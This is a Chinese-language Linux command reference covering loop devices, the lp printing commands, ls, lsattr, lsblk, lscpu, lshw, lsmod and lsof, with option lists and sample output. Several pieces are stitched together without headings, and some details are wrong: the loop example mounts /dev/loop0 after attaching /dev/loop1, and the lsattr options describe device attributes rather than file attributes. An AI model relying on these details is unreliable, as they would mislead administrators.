至此,顺便可以再理解一下 loop 之含义:对于第一层文件系统,它直接安装在我们计算机的物理设备之上;而对于这种被 mount 起来的镜像文件(它也包含有文件系统),它是建立在第一层文件系统之上,这样看来,它就像是在第一层文件系统之上再绕了一圈的文件系统,所以称为 loop。

!实例

创建空的磁盘镜像文件,这里创建一个1.44M的软盘:

`dd if=/dev/zero of=floppy.img bs=512 count=2880`

使用 losetup将磁盘镜像文件虚拟成快设备:

`losetup /dev/loop1 floppy.img`

挂载块设备:

`mount /dev/loop0 /tmp`

经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。

卸载loop设备:

```
umount /tmp
losetup -d /dev/loop1
```
!!简介
:<div>
lp
===

打印文件或修改排队的打印任务

</div>

!! 补充说明

:<div>


"lp命令" 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。

</div>

!! 语法  

:<div>


```
lp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:与打印服务器连接时强制使用加密;
-U:指定连接打印服务器时使用的用户名;
-d:指定接收打印任务的目标打印机;
-i:指定一个存在的打印任务号;
-m:打印完成时发送E-mail;
-n:指定打印的份数;
-t:指定打印任务的名称;
-H:指定打印任务开始的时间;
-P:指定需要打印的页码。
```

</div>

!! 参数  

:<div>


文件:需打印的文件。

</div>

!! 实例  

:<div>


要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`,请输入:

```
lp /etc/motd
```

要使用文件的一个副本打印`/etc/motd`文件的30个副本,并且要用邮件通知用户作业完成,请输入:

```
lp -c -m -n30 -dlp0:lpd0 /etc/motd
```

要使用后端标志-f和-a并带上作业标题blah打印`/etc/motd`文件,请输入:

```
lp -t "blah" -o -f -o -a /etc/motd
```

要排队MyFile文件并返回作业编号,请输入:

```
lp myfile
```

要排队MyFile文件并禁止作业编号,请输入:

```
lp -s myfile
```

 "退出状态" 

该命令返回以下退出值:

*   0:所有输入文件成功处理。
*   >0:没有输出设备可用,或者出现一个错误。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lpadmin
===

配置CUPS套件中的打印机和类

</div>

!! 补充说明

:<div>


"lpadmin命令" 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。

</div>

!! 语法  

:<div>


```
lpadmin(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c:将打印机加入类;
-i:为打印机设置“system V”风格的接口脚本;
-m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件;
-o:为“PPD”或服务器设置选项;
-r:从类中删除打印机;
-u:设置打印机用户级的访问控制;
-D:为打印机提供一个文字描述;
-E:允许打印机接受打印任务;
-L:为打印机位置提供一个文字描述;
-P:为打印机指定一个ppd描述文件;
-p:指定要配置的打印机名称;
-d:设置默认打印机。
```

</div>

!! 参数  

:<div>


打印机:指定要配置的打印机的名称。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lpc
===

命令行方式打印机控制程序

</div>

!! 补充说明

:<div>


"lpc命令" 式命令行方式打印机控制程序,有5个内置命令。

</div>

!! 语法  

:<div>


```
lpc
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# lpc
lpc> ?         
命令可能是缩写。命令是:

exit    help    quit    status  ?
lpc> exit
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lpq
===

显示打印队列中的打印任务的状态信息

</div>

!! 补充说明

:<div>


"lpq命令" 用于显示打印队列中的打印任务的状态信息。

</div>

!! 语法  

:<div>


```
lpq(选项)
```

</div>

!! 选项  

:<div>


```
-E:强制使用加密方式与服务器连接;
-P:显示中的打印机上的打印队列状态;;
-U:自动可选的用户名;
-a:报告所有打印机的定义任务;
-h:指定打印服务器信息;
-l:使用长格式输出;
+:指定显示状态的间隔时间。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lpr
===

将文件发送给指定打印机进行打印

</div>

!! 补充说明

:<div>


"lpr命令" 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。

</div>

!! 语法  

:<div>


```
lpr(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:与打印服务器连接时强制使用加密;
-H:指定可选的打印服务器;
-C:指定打印任务的名称;
-P:指定接受打印任务的目标打印机;
-U:指定可选的用户名;
-#:指定打印的份数;
-h:关闭banner打印;
-m:打印完成后发送E-mail;
-r:打印完成后删除文件。
```

</div>

!! 参数  

:<div>


文件:需打印的文件。

</div>

!! 实例  

:<div>


将man1和man2送到打印机lp进行打印:

```
lpr -P lp man1 man2
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lprm
===

删除打印队列中的打印任务

</div>

!! 补充说明

:<div>


"lprm命令" 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。

</div>

!! 语法  

:<div>


```
lprm(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:与打印服务器连接时强制使用加密;
-P:指定接受打印任务的目标打印机;
-U:指定可选的用户名。
```

</div>

!! 参数  

:<div>


打印任务:指定需删除的打印任务号。

</div>

!! 实例  

:<div>


将打印机hpprint中的第102号任务移除:

```
lprm -Phpprint 102
```

将第101号任务由预设打印机中移除:

```
lprm 101
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
lpstat
===

显示CUPS中打印机的状态信息

</div>

!! 补充说明

:<div>


"lpstat命令" 用于显示CUPS中打印机的状态信息。

</div>

!! 语法  

:<div>


```
lpstat(选项)
```

</div>

!! 选项  

:<div>


```
-E:与打印机连接时加密;
-R:显示打印任务的等级;
-U:指定可选用户名;
-a:显示接受打印任务的打印机;
-c:显示打印机类;
-d:显示默认打印机;
-h:指定可选的服务器信息;
-l:显示长格式;
-p:显示指定打印机,以及打印机是否接受打印任务;
-s:显示汇总信息;
-t:显示所有的状态信息。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<div>


`显示目录内容列表`

</div>

!! 简介

:<div>


"ls命令" 用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。

</div>

!! 语法  

:<div>


```
ls(选项)(参数)
```

</div>

!! 选项  

:<div>


```

-a, --all     不隐藏任何以. 开始的项目
-A, --almost-all    列出除. 及.. 以外的任何项目
    --author      与-l 同时使用时列出每个文件的作者
-b, --escape      以八进制溢出序列表示不可打印的字符
    --block-size=SIZE      scale sizes by SIZE before printing them; e.g.,
                             '--block-size=M' prints sizes in units of
                             1,048,576 bytes; see SIZE format below
-B, --ignore-backups       do not list implied entries ending with ~
-c                         with -lt: sort by, and show, ctime (time of last
                             modification of file status information);
                             with -l: show ctime and sort by name;
                             otherwise: sort by ctime, newest first
-C                         list entries by columns
    --color[=WHEN]         colorize the output; WHEN can be 'never', 'auto',
                             or 'always' (the default); more info below
-d, --directory            list directories themselves, not their contents
-D, --dired                generate output designed for Emacs' dired mode
-f                         do not sort, enable -aU, disable -ls --color
-F, --classify             append indicator (one of */=>@|) to entries
    --file-type            likewise, except do not append '*'
    --format=WORD          across -x, commas -m, horizontal -x, long -l,
                             single-column -1, verbose -l, vertical -C
    --full-time            like -l --time-style=full-iso
-g        类似-l,但不列出所有者
    --group-directories-first
                           group directories before files;
                             can be augmented with a --sort option, but any
                             use of --sort=none (-U) disables grouping
-G, --no-group    以一个长列表的形式,不输出组名
-h, --human-readable    与-l 一起,以易于阅读的格式输出文件大小
      (例如 1K 234M 2G)
    --si      同上面类似,但是使用1000 为基底而非1024
-H, --dereference-command-line
                           follow symbolic links listed on the command line
    --dereference-command-line-symlink-to-dir
                           follow each command line symbolic link
                             that points to a directory
    --hide=PATTERN         do not list implied entries matching shell PATTERN
                             (overridden by -a or -A)
    --indicator-style=WORD  append indicator with style WORD to entry names:
                             none (default), slash (-p),
                             file-type (--file-type), classify (-F)
-i, --inode                print the index number of each file
-I, --ignore=PATTERN       do not list implied entries matching shell PATTERN
-k, --kibibytes            default to 1024-byte blocks for disk usage
-l        使用较长格式列出信息
-L, --dereference   当显示符号链接的文件信息时,显示符号链接所指示
      的对象而并非符号链接本身的信息
-m        所有项目以逗号分隔,并填满整行行宽
-n, --numeric-uid-gid   类似 -l,但列出UID 及GID 号
-N, --literal     输出未经处理的项目名称 (如不特别处理控制字符)
-o        类似 -l,但不列出有关组的信息
-p,  --indicator-style=slash  对目录加上表示符号"/"
-q, --hide-control-chars   print ? instead of nongraphic characters
    --show-control-chars   show nongraphic characters as-is (the default,
                             unless program is 'ls' and output is a terminal)
-Q, --quote-name           enclose entry names in double quotes
    --quoting-style=WORD   use quoting style WORD for entry names:
                             literal, locale, shell, shell-always, c, escape
-r, --reverse     逆序排列
-R, --recursive   递归显示子目录
-s, --size      以块数形式显示每个文件分配的尺寸
-S                         sort by file size
    --sort=WORD            sort by WORD instead of name: none (-U), size (-S),
                             time (-t), version (-v), extension (-X)
    --time=WORD            with -l, show time as WORD instead of default
                             modification time: atime or access or use (-u)
                             ctime or status (-c); also use specified time
                             as sort key if --sort=time
    --time-style=STYLE     with -l, show times using style STYLE:
                             full-iso, long-iso, iso, locale, or +FORMAT;
                             FORMAT is interpreted like in 'date'; if FORMAT
                             is FORMAT1<newline>FORMAT2, then FORMAT1 applies
                             to non-recent files and FORMAT2 to recent files;
                             if STYLE is prefixed with 'posix-', STYLE
                             takes effect only outside the POSIX locale
-t                         sort by modification time, newest first
-T, --tabsize=COLS         assume tab stops at each COLS instead of 8
-u                         with -lt: sort by, and show, access time;
                             with -l: show access time and sort by name;
                             otherwise: sort by access time
-U                         do not sort; list entries in directory order
-v                         natural sort of (version) numbers within text
-w, --width=COLS           assume screen width instead of current value
-x                         list entries by lines instead of by columns
-X                         sort alphabetically by entry extension
-1                         list one file per line

SELinux options:

--lcontext                 Display security context.   Enable -l. Lines
                           will probably be too wide for most displays.
-Z, --context              Display security context so it fits on most
                           displays.  Displays only mode, user, group,
                           security context and file name.
--scontext                 Display only security context and file name.
    --help    显示此帮助信息并退出
    --version   显示版本信息并退出
```

</div>

!! 参数  

:<div>


目录:指定要显示列表的目录,也可以是具体的文件。

</div>

!! 实例  

:<div>


```bash
$ ls       # 仅列出当前目录可见文件
$ ls -l    # 列出当前目录可见文件详细信息
$ ls -hl   # 列出详细信息并以可读大小显示文件大小
$ ls -al   # 列出所有文件(包括隐藏)的详细信息
```

显示当前目录下包括影藏文件在内的所有文件列表

```
[root@localhost ~]# ls -a
.   anaconda-ks.cfg  .bash_logout   .bashrc  install.log         .mysql_history  satools  .tcshrc   .vimrc
..  .bash_history    .bash_profile  .cshrc   install.log.syslog  .rnd            .ssh     .viminfo
```

输出长格式列表

```
[root@localhost ~]# ls -1

anaconda-ks.cfg
install.log
install.log.syslog
satools
```

显示文件的inode信息

索引节点(index inode简称为“inode”)是Linux中一个特殊的概念,具有相同的索引节点号的两个文本本质上是同一个文件(除文件名不同外)。

```
[root@localhost ~]# ls -i -l anaconda-ks.cfg install.log
2345481 -rw------- 1 root root   859 Jun 11 22:49 anaconda-ks.cfg
2345474 -rw-r--r-- 1 root root 13837 Jun 11 22:49 install.log
```

水平输出文件列表

```
[root@localhost /]# ls -m

bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, root, sbin, selinux, srv, sys, tmp, usr, var
```

修改最后一次编辑的文件

最近修改的文件显示在最上面。

```
[root@localhost /]# ls -t

tmp  root  etc  dev  lib  boot  sys  proc  data  home  bin  sbin  usr  var  lost+found  media  mnt  opt  selinux  srv  misc
```

显示递归文件

```
[root@localhost ~]# ls -R
.:
anaconda-ks.cfg  install.log  install.log.syslog  satools

./satools:
black.txt  freemem.sh  iptables.sh  lnmp.sh  mysql  php502_check.sh  ssh_safe.sh

```

打印文件的UID和GID

```
[root@localhost /]# ls -n

total 254
drwxr-xr-x   2 0 0  4096 Jun 12 04:03 bin
drwxr-xr-x   4 0 0  1024 Jun 15 14:45 boot
drwxr-xr-x   6 0 0  4096 Jun 12 10:26 data
drwxr-xr-x  10 0 0  3520 Sep 26 15:38 dev
drwxr-xr-x  75 0 0  4096 Oct 16 04:02 etc
drwxr-xr-x   4 0 0  4096 Jun 12 10:26 home
drwxr-xr-x  14 0 0 12288 Jun 16 04:02 lib
drwx------   2 0 0 16384 Jun 11 22:46 lost+found
drwxr-xr-x   2 0 0  4096 May 11  2011 media
drwxr-xr-x   2 0 0  4096 Nov  8  2010 misc
drwxr-xr-x   2 0 0  4096 May 11  2011 mnt
drwxr-xr-x   2 0 0  4096 May 11  2011 opt
dr-xr-xr-x 232 0 0     0 Jun 15 11:04 proc
drwxr-x---   4 0 0  4096 Oct 15 14:43 root
drwxr-xr-x   2 0 0 12288 Jun 12 04:03 sbin
drwxr-xr-x   2 0 0  4096 May 11  2011 selinux
drwxr-xr-x   2 0 0  4096 May 11  2011 srv
drwxr-xr-x  11 0 0     0 Jun 15 11:04 sys
drwxrwxrwt   3 0 0 98304 Oct 16 08:45 tmp
drwxr-xr-x  13 0 0  4096 Jun 11 23:38 usr
drwxr-xr-x  19 0 0  4096 Jun 11 23:38 var

```

列出文件和文件夹的详细信息

```
[root@localhost /]# ls -l

total 254
drwxr-xr-x   2 root root  4096 Jun 12 04:03 bin
drwxr-xr-x   4 root root  1024 Jun 15 14:45 boot
drwxr-xr-x   6 root root  4096 Jun 12 10:26 data
drwxr-xr-x  10 root root  3520 Sep 26 15:38 dev
drwxr-xr-x  75 root root  4096 Oct 16 04:02 etc
drwxr-xr-x   4 root root  4096 Jun 12 10:26 home
drwxr-xr-x  14 root root 12288 Jun 16 04:02 lib
drwx------   2 root root 16384 Jun 11 22:46 lost+found
drwxr-xr-x   2 root root  4096 May 11  2011 media
drwxr-xr-x   2 root root  4096 Nov  8  2010 misc
drwxr-xr-x   2 root root  4096 May 11  2011 mnt
drwxr-xr-x   2 root root  4096 May 11  2011 opt
dr-xr-xr-x 232 root root     0 Jun 15 11:04 proc
drwxr-x---   4 root root  4096 Oct 15 14:43 root
drwxr-xr-x   2 root root 12288 Jun 12 04:03 sbin
drwxr-xr-x   2 root root  4096 May 11  2011 selinux
drwxr-xr-x   2 root root  4096 May 11  2011 srv
drwxr-xr-x  11 root root     0 Jun 15 11:04 sys
drwxrwxrwt   3 root root 98304 Oct 16 08:48 tmp
drwxr-xr-x  13 root root  4096 Jun 11 23:38 usr
drwxr-xr-x  19 root root  4096 Jun 11 23:38 var

```

列出可读文件和文件夹详细信息

```
[root@localhost /]# ls -lh

total 254K
drwxr-xr-x   2 root root 4.0K Jun 12 04:03 bin
drwxr-xr-x   4 root root 1.0K Jun 15 14:45 boot
drwxr-xr-x   6 root root 4.0K Jun 12 10:26 data
drwxr-xr-x  10 root root 3.5K Sep 26 15:38 dev
drwxr-xr-x  75 root root 4.0K Oct 16 04:02 etc
drwxr-xr-x   4 root root 4.0K Jun 12 10:26 home
drwxr-xr-x  14 root root  12K Jun 16 04:02 lib
drwx------   2 root root  16K Jun 11 22:46 lost+found
drwxr-xr-x   2 root root 4.0K May 11  2011 media
drwxr-xr-x   2 root root 4.0K Nov  8  2010 misc
drwxr-xr-x   2 root root 4.0K May 11  2011 mnt
drwxr-xr-x   2 root root 4.0K May 11  2011 opt
dr-xr-xr-x 235 root root    0 Jun 15 11:04 proc
drwxr-x---   4 root root 4.0K Oct 15 14:43 root
drwxr-xr-x   2 root root  12K Jun 12 04:03 sbin
drwxr-xr-x   2 root root 4.0K May 11  2011 selinux
drwxr-xr-x   2 root root 4.0K May 11  2011 srv
drwxr-xr-x  11 root root    0 Jun 15 11:04 sys
drwxrwxrwt   3 root root  96K Oct 16 08:49 tmp
drwxr-xr-x  13 root root 4.0K Jun 11 23:38 usr
drwxr-xr-x  19 root root 4.0K Jun 11 23:38 var

```

显示文件夹信息

```
[root@localhost /]# ls -ld /etc/

drwxr-xr-x 75 root root 4096 Oct 16 04:02 /etc/

```

按时间列出文件和文件夹详细信息

```
[root@localhost /]# ls -lt

total 254
drwxrwxrwt   3 root root 98304 Oct 16 08:53 tmp
drwxr-xr-x  75 root root  4096 Oct 16 04:02 etc
drwxr-x---   4 root root  4096 Oct 15 14:43 root
drwxr-xr-x  10 root root  3520 Sep 26 15:38 dev
drwxr-xr-x  14 root root 12288 Jun 16 04:02 lib
drwxr-xr-x   4 root root  1024 Jun 15 14:45 boot
drwxr-xr-x  11 root root     0 Jun 15 11:04 sys
dr-xr-xr-x 232 root root     0 Jun 15 11:04 proc
drwxr-xr-x   6 root root  4096 Jun 12 10:26 data
drwxr-xr-x   4 root root  4096 Jun 12 10:26 home
drwxr-xr-x   2 root root  4096 Jun 12 04:03 bin
drwxr-xr-x   2 root root 12288 Jun 12 04:03 sbin
drwxr-xr-x  13 root root  4096 Jun 11 23:38 usr
drwxr-xr-x  19 root root  4096 Jun 11 23:38 var
drwx------   2 root root 16384 Jun 11 22:46 lost+found
drwxr-xr-x   2 root root  4096 May 11  2011 media
drwxr-xr-x   2 root root  4096 May 11  2011 mnt
drwxr-xr-x   2 root root  4096 May 11  2011 opt
drwxr-xr-x   2 root root  4096 May 11  2011 selinux
drwxr-xr-x   2 root root  4096 May 11  2011 srv
drwxr-xr-x   2 root root  4096 Nov  8  2010 misc

```

按修改时间列出文件和文件夹详细信息

```
[root@localhost /]# ls -ltr

total 254
drwxr-xr-x   2 root root  4096 Nov  8  2010 misc
drwxr-xr-x   2 root root  4096 May 11  2011 srv
drwxr-xr-x   2 root root  4096 May 11  2011 selinux
drwxr-xr-x   2 root root  4096 May 11  2011 opt
drwxr-xr-x   2 root root  4096 May 11  2011 mnt
drwxr-xr-x   2 root root  4096 May 11  2011 media
drwx------   2 root root 16384 Jun 11 22:46 lost+found
drwxr-xr-x  19 root root  4096 Jun 11 23:38 var
drwxr-xr-x  13 root root  4096 Jun 11 23:38 usr
drwxr-xr-x   2 root root 12288 Jun 12 04:03 sbin
drwxr-xr-x   2 root root  4096 Jun 12 04:03 bin
drwxr-xr-x   4 root root  4096 Jun 12 10:26 home
drwxr-xr-x   6 root root  4096 Jun 12 10:26 data
dr-xr-xr-x 232 root root     0 Jun 15 11:04 proc
drwxr-xr-x  11 root root     0 Jun 15 11:04 sys
drwxr-xr-x   4 root root  1024 Jun 15 14:45 boot
drwxr-xr-x  14 root root 12288 Jun 16 04:02 lib
drwxr-xr-x  10 root root  3520 Sep 26 15:38 dev
drwxr-x---   4 root root  4096 Oct 15 14:43 root
drwxr-xr-x  75 root root  4096 Oct 16 04:02 etc
drwxrwxrwt   3 root root 98304 Oct 16 08:54 tmp

```

按照特殊字符对文件进行分类

```
[root@localhost nginx-1.2.1]# ls -F

auto/  CHANGES  CHANGES.ru  conf/  configure*  contrib/  html/  LICENSE  Makefile  man/  objs/  README  src/

```

列出文件并标记颜色分类

```
[root@localhost nginx-1.2.1]# ls --color=auto

auto  CHANGES  CHANGES.ru  conf  configure  contrib  html  LICENSE  Makefile  man  objs  README  src
```

</div>




* EXP<pre>

```bash
# atime
# ctime
# mtime
# relatime

#查看文件
ls -l <file_path>

#查看目录
ls -ld <dir_path>

# -1 纵向展示
ls -1 ./

# -t size 排序

ls -ls <path>

# -t mtime 排序
ls -lht <path>

# -u atime 排序
ls -lu <path>

# -c ctime 排序
ls -lc <path>

# -d */ 只显示目录
ls -d */

# -U 目录生成时间
# 目录的create time ?
ls -U

# -X 后缀排序
ls -X <PATH>

# -F 分类 ,目录加`/`
ls -F

# 查看隐藏文件
l.
ls -d .[^.]*

# I 忽略匹配的文件
ls -Ia "[^.]*"

```
</pre>


* command

    ** stat<pre>
        ```bash

        ```
        </pre>

!!简介
:<div>
lsattr
===

查看文件的第二扩展文件系统属性

</div>

!! 补充说明

:<div>


"lsattr命令" 用于查看文件的第二扩展文件系统属性。

</div>

!! 语法  

:<div>


```
lsattr(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。
-D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志。
-R:递归的操作方式;
-V:显示指令的版本信息;
-a:列出目录中的所有文件,包括隐藏文件。
```

lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。

</div>

!! 参数  

:<div>


文件:指定显示文件系统属性的文件名。

</div>

!! 实例  

:<div>


```
lsattr -E -l rmt0 -H
lsattr -EO -l rmt0
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
-v 显示版本信息。
-i 显示发行版的id。
-d 显示该发行版的描述信息。
-r 显示当前系统是发行版的具体版本号。
-c 发行版代号。
-a 显示上面的所有信息。
-h 显示帮助信息。
-s, --short  输出简短的描述信息。
```

```bash
[root@qs02 ~]# cat /proc/version

[root@qs02 ~]# cat /etc/issue

[root@qs02 ~]# cat /etc/os-release


```
!!简介
:<div>
lsblk
===

列出块设备信息

</div>

!! 补充说明

:<div>


"lsblk命令" 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令`sudo yum install util-linux-ng`来安装该包。

</div>

!! 选项  

:<div>


```
-a, --all            显示所有设备。
-b, --bytes          以bytes方式显示设备大小。
-d, --nodeps         不显示 slaves 或 holders。
-D, --discard        print discard capabilities。
-e, --exclude <list> 排除设备 (default: RAM disks)。
-f, --fs             显示文件系统信息。
-h, --help           显示帮助信息。
-i, --ascii          use ascii characters only。
-m, --perms          显示权限信息。
-l, --list           使用列表格式显示。
-n, --noheadings     不显示标题。
-o, --output <list>  输出列。
-P, --pairs          使用key="value"格式显示。
-r, --raw            使用原始格式显示。
-t, --topology       显示拓扑结构信息。
```

</div>

!! 实例  

:<div>


lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令:

```
lsblk

NAME   MAJ:MIN rm   SIZE RO type mountpoint
sda      8:0    0 232.9G  0 disk 
├─sda1   8:1    0  46.6G  0 part /
├─sda2   8:2    0     1K  0 part 
├─sda5   8:5    0   190M  0 part /boot
├─sda6   8:6    0   3.7G  0 part [SWAP]
├─sda7   8:7    0  93.1G  0 part /data
└─sda8   8:8    0  89.2G  0 part /personal
sr0     11:0    1  1024M  0 rom
```

7个栏目名称如下:

1.   "NAME" :这是块设备名。
2.   "MAJ:MIN" :本栏显示主要和次要设备号。
3.   "RM" :本栏显示设备是否可移动设备。注意,在本例中设备sdb和sr0的RM值等于1,这说明他们是可移动设备。
4.   "SIZE" :本栏列出设备的容量大小信息。例如298.1G表明该设备大小为298.1GB,而1K表明该设备大小为1KB。
5.   "RO" :该项表明设备是否为只读。在本案例中,所有设备的RO值为0,表明他们不是只读的。
6.   "TYPE" :本栏显示块设备是否是磁盘或磁盘上的一个分区。在本例中,sda和sdb是磁盘,而sr0是只读存储(rom)。
7.   "MOUNTPOINT" :本栏指出设备挂载的挂载点。

默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令:

```
lsblk -a
```

lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息:

```
lsblk -m
```

该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现:

```
lsblk -b /dev/sda

等价于

lsblk --bytes /dev/sda
```

你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下:

```
lsblk -nl
```

要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。

```
lsblk -S
```

lsblk列出SCSI设备,而-s是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令:

```
lsblk -s
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```
Usage:
 lscpu [options]

Display information about the CPU architecture.

Options:
 -a, --all               print both online and offline CPUs (default for -e)
 -b, --online            print online CPUs only (default for -p)
 -c, --offline           print offline CPUs only
 -e, --extended[=<list>] print out an extended readable format
 -p, --parse[=<list>]    print out a parsable format
 -s, --sysroot <dir>     use specified directory as system root
 -x, --hex               print hexadecimal masks rather than lists of CPUs
 -y, --physical          print physical instead of logical IDs

 -h, --help     display this help and exit
 -V, --version  output version information and exit

Available columns:
           CPU  logical CPU number
          CORE  logical core number
        SOCKET  logical socket number
          NODE  logical NUMA node number
          BOOK  logical book number
        DRAWER  logical drawer number
         CACHE  shows how caches are shared between CPUs
  POLARIZATION  CPU dispatching mode on virtual hardware
       ADDRESS  physical address of a CPU
    CONFIGURED  shows if the hypervisor has allocated the CPU
        ONLINE  shows if Linux currently makes use of the CPU
        MAXMHZ  shows the maximum MHz of the CPU
        MINMHZ  shows the minimum MHz of the CPU

For more details see lscpu(1).
```
* INSTALL <pre>

```bash
yum install lshw -y
```
</pre>

* OPTIONS<pre>

```bash
Hardware Lister (lshw) - B.02.18
usage: lshw [-format] [-options ...]
       lshw -version

        -version        print program version (B.02.18)

format can be
        -html           output hardware tree as HTML
        -xml            output hardware tree as XML
        -json           output hardware tree as a JSON object
        -short          output hardware paths
        -businfo        output bus information

options can be
        -dump OUTFILE   save hardware tree to a file
        -class CLASS    only show a certain class of hardware
        -C CLASS        same as '-class CLASS'
        -c CLASS        same as '-class CLASS'
        -disable TEST   disable a test (like pci, isapnp, cpuid, etc. )
        -enable TEST    enable a test (like pci, isapnp, cpuid, etc. )
        -quiet          don't display status
        -sanitize       sanitize output (remove sensitive information like serial numbers, etc.)
        -numeric        output numeric IDs (for PCI, USB, etc.)
        -notime         exclude volatile attributes (timestamps) from output
```
</pre>

* 所有class
:<pre>

```bash
[root@hs01 ~]# lshw | sed 's/^[ \t]*//g' |grep \*|sed 's/:.*//g'|sort|uniq
```
*-bank                      
*-battery
*-cache
*-cdrom
*-core
*-cpu
*-disk
*-display
*-firewire
*-firmware
*-ide
*-isa
*-memory
*-multimedia
*-network
*-network UNCLAIMED
*-pci
*-pcmcia
*-pnp00
*-serial
*-usb
*-usbhost
*-usb UNCLAIMED
*-volume

</pre>
! 描述
:<div>

```
lsmod命令用于显示已经加载到内核中的模块的状态信息。执行lsmod命令后会列出所有已载入系统的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放入核心。您可以将这些功能编译成一个个单独的模块,待需要时再分别载入。
```
</div>

! 实例 
:<div>


第1列:表示模块的名称。

第2列:表示模块的大小。

第3列:表示依赖模块的个数。

第4列:表示依赖模块的内容。

通常在使用lsmod命令时,都会采用类似`lsmod | grep -i ext3`这样的命令来查询当前系统是否加载了某些模块。

</div>
!!简介
:<div>
lsof
===

显示Linux系统当前已打开的所有文件列表 `lsof -p pid`

</div>

!! 补充说明

:<div>


"lsof命令" 用于查看你进程打开的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。

在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议 (TCP) 和用户数据报协议 (UDP) 套接字等,系统在后台都为该应用程序分配了一个文件描述符,无论这个文件的本质如何,该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息,因此通过lsof工具能够查看这个列表对系统监测以及排错将是很有帮助的。

</div>

!! 语法

:<div>


```
lsof(选项)
```

</div>

!! 选项

:<div>


```
-a:列出打开文件存在的进程;
-c<进程名>:列出指定进程所打开的文件;
-g:列出GID号进程详情;
-d<文件号>:列出占用该文件号的进程;
+d<目录>:列出目录下被打开的文件;
+D<目录>:递归列出目录下被打开的文件;
-n<目录>:列出使用NFS的文件;
-i<条件>:列出符合条件的进程。(4、6、协议、:端口、 @ip )
-p<进程号>:列出指定进程号所打开的文件;
-u:列出UID号进程详情;
-h:显示帮助信息;
-v:显示版本信息。
```

</div>

!! 实例

:<div>


```
lsof
command     PID USER   FD      type             DEVICE     SIZE       NODE NAME
init          1 root  cwd       DIR                8,2     4096          2 /
init          1 root  rtd       DIR                8,2     4096          2 /
init          1 root  txt       REG                8,2    43496    6121706 /sbin/init
init          1 root  mem       REG                8,2   143600    7823908 /lib64/ld-2.5.so
init          1 root  mem       REG                8,2  1722304    7823915 /lib64/libc-2.5.so
init          1 root  mem       REG                8,2    23360    7823919 /lib64/libdl-2.5.so
init          1 root  mem       REG                8,2    95464    7824116 /lib64/libselinux.so.1
init          1 root  mem       REG                8,2   247496    7823947 /lib64/libsepol.so.1
init          1 root   10u     FIFO               0,17                1233 /dev/initctl
migration     2 root  cwd       DIR                8,2     4096          2 /
migration     2 root  rtd       DIR                8,2     4096          2 /
migration     2 root  txt   unknown                                        /proc/2/exe
ksoftirqd     3 root  cwd       DIR                8,2     4096          2 /
ksoftirqd     3 root  rtd       DIR                8,2     4096          2 /
